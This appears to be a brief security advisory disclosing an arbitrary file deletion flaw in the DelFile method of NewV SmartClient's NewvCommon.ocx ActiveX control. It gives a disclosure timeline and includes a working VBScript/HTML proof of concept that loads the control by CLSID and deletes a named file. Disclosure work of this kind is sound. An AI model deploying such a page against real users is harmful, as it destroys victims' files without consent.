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NewvCommon.ocx ActiveX Insecure Method Vulnerability

NewvCommon.ocx ActiveX Insecure Method Vulnerability
========
Vulnerable:All Version
Vendor:www.newv.com.cn


Details:
========
A Insecure method vulnerability has been found in NewV SmartClient. 
The specific flaw exists within the DelFile method of the Newv ActiveX control 
(NewvCommon.ocx).
The DelFile method does not handle user's input exactly that can be used to 
delete arbitrary files on users system.


POC: 
========
Function DelFile (
        ByVal FilePath  As Variant 
)  As String


<html>
<head>
<script language='vbscript'>
arg1 = "c:\\test.txt"
</script>
</head>
<object classid='clsid:0B68B7EB-02FF-4A41-BC14-3C303BB853F9' id='target' />
</object>
<script language='vbscript'>
target.DelFile arg1 
</script>
</html>


Timeline:
========
2010.10.23   Report to vendor,no response.
2011.01.10   Public



Reference:
========
http://www.newv.com.cn
http://demo.newv.com.cn/lds/module/smartclientsetting.exe
http://www.nansec.com